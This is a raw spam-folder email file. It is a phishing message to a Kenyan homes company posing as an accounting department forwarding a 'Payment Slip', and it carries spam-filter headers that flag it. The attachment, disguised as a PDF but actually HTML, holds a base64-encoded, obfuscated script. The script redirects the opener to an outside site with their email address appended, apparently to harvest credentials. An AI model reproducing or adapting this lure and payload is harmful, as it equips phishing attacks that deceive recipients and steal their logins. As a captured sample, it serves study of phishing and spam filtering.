File: /home2/hansardh/mail/.spam/new/1745301887.M507778P528519.hp4.hostpido.com,S=6907,W=7042
Return-Path: <lisa08315@gmail.com>
Delivered-To: hansardh+spam@hp4.hostpido.com
Received: from hp4.hostpido.com
by hp4.hostpido.com with LMTP
id +J4JHn8xB2iHEAgA6hbwcw
(envelope-from <lisa08315@gmail.com>)
for <hansardh+spam@hp4.hostpido.com>; Tue, 22 Apr 2025 09:04:47 +0300
Return-path: <lisa08315@gmail.com>
Envelope-to: sales@hansardhomes.co.ke
Delivery-date: Tue, 22 Apr 2025 09:04:47 +0300
Received: from [185.208.158.20] (port=55927 helo=gmail.com)
by hp4.hostpido.com with esmtp (Exim 4.97.1)
(envelope-from <lisa08315@gmail.com>)
id 1u76kO-00000002DYN-3oYU
for sales@hansardhomes.co.ke;
Tue, 22 Apr 2025 09:04:47 +0300
From: Accounting <lisa08315@gmail.com>
To: sales@hansardhomes.co.ke
Date: 21 Apr 2025 23:04:05 -0700
Message-ID: <20250421230403.39786157618EEA23@gmail.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_31E43AFB.6C540C2C"
X-Spam-Status: Yes, score=9.3
X-Spam-Score: 93
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "hp4.hostpido.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: New Page 1 How are you Find attached Payment Slip. as requested
Content analysis details: (9.3 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 RCVD_IN_ZEN_BLOCKED_OPENDNS RBL: ADMINISTRATOR NOTICE: The query
to zen.spamhaus.org was blocked due to
usage of an open resolver. See
https://www.spamhaus.org/returnc/pub/
[185.208.158.20 listed in zen.spamhaus.org]
0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is
CUSTOM_MED
0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends
in digit
[lisa08315[at]gmail.com]
1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received'
headers
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail
provider
[lisa08315[at]gmail.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[185.208.158.20 listed in sa-trusted.bondedsender.org]
3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
1.0 KAM_LAZY_DOMAIN_SECURITY Sending domain does not have any
anti-forgery methods
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message
and the domain has no DMARC policy
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS
1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing
list
X-Spam-Flag: YES
Subject: ***SPAM*** Fwd: Payment Slip
This is a multi-part message in MIME format.
------=_NextPart_000_0012_31E43AFB.6C540C2C
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.=
w3.org/TR/html4/loose.dtd">
<HTML><HEAD><TITLE>New Page 1</TITLE>
<META content=3Den-us http-equiv=3DContent-Language>
<META content=3D"text/html; charset=3Dwindows-1252" http-equiv=3DContent-Ty=
pe>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<body>
<DIV class=3DrcmBody style=3D"MARGIN: 0.5em">
<DIV>
<P><FONT size=3D4>How are you<BR> </FONT></P></DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)"><FONT size=3D4>Find attached Payment Slip. as =
requested=20
<P>kindly check with your bank for confirmation. </FONT></P></DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)"> =20
<P><FONT size=3D4>Thanks<BR>Accounting<BR>lisa</FONT></P>
<P> </P></DIV>
<P><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT si=
ze=3D4>-----Original Message-----<BR>From: "Account Payables/Credit Control=
Unit"<BR>Date: 4/21/2025 11:04:03 p.m.<BR>To: "Accounting"<</FONT></SPA=
N><FONT size=3D4><A style=3D"COLOR: rgb(0,0,238)">lisa08315@gmail.com</A></=
FONT><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT =
size=3D4>><BR>Subject: Fwd: </FONT></SPAN><FONT size=3D4>Payment Slip</F=
ONT><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif">
<FONT size=3D4> </FONT></SPAN></P>
<P> </P>
<P><FONT size=3D4>Hello, lisa</FONT></P>
<P><FONT size=3D4>Kindly forward the attached Payment Slip to <=
/FONT><A style=3D"COLOR: rgb(0,0,238)"><FONT size=3D4>sales@hansardhomes.co=
=2Eke</FONT></A></P></DIV>
<P><FONT size=3D4>Best Regards,<BR>Account Payables/Credit Control Unit </F=
ONT></P></BODY></HTML>
------=_NextPart_000_0012_31E43AFB.6C540C2C
Content-Type: text/html; name="Fwd: Payment Slip.pdf.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Fwd: Payment Slip.pdf.html"
PHNjcmlwdD4NCjwhLS1rb2xwb2l1am1uYnZ0NTZ0ZnJkZWRyZmRlcnR5YmpoYnZnZmNkeHhk
ejJ3d3EycXczMnEyc3dkeHhxMXEyMzRzeGNmZ2h1ZzY2dGd5aHVpanV5dHJmZ3loamtrcGxv
a2pubW5idmd5Z3R5aC0tPg0KZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyUyMURPQ1RZ
UEUlMjBodG1sJTIwUFVCTElDJTIwJTIyLS8vVzNDLy9EVEQlMjBYSFRNTCUyMDEuMCUyMFRy
YW5zaXRpb25hbC8vRU4lMjIlMEElMEElMjIlMjIlM0UlMEElM0NodG1sJTIweG1sbnMlM0Ql
MjIlMjIlM0UlMEElM0NoZWFkJTNFJTBBJTNDbWV0YSUyMGh0dHAtZXF1aXYlM0QlMjJDb250
ZW50LVR5cGUlMjIlMjBjb250ZW50JTNEJTIydGV4dC9odG1sJTNCJTIwY2hhcnNldCUzRGlz
by04ODU5LTElMjIlMjAvJTNFJTBBJTNDbWV0YSUyMGh0dHAtZXF1aXYlM0QlMjJSRUZSRVNI
JTIyY29udGVudCUzRCUyMjElM0J1cmwlM0RodHRwcyUzQS8vaGF2YWplbC5jb20vd3AtaW5j
bHVkZXMvU2ltcGxlUGllL3NyYy9zbS5odG1sJTNGZW1haWwlM0QnKSk7DQo8L3NjcmlwdD5z
YWxlc0BoYW5zYXJkaG9tZXMuY28ua2UiPg0KPHRpdGxlPlVudGl0bGVkIERvY3VtZW50PC90
aXRsZT4NCjwvaGVhZD4NCg0KPGJvZHk+DQoNCjwvYm9keT4NCjwvaHRtbD4=
------=_NextPart_000_0012_31E43AFB.6C540C2C--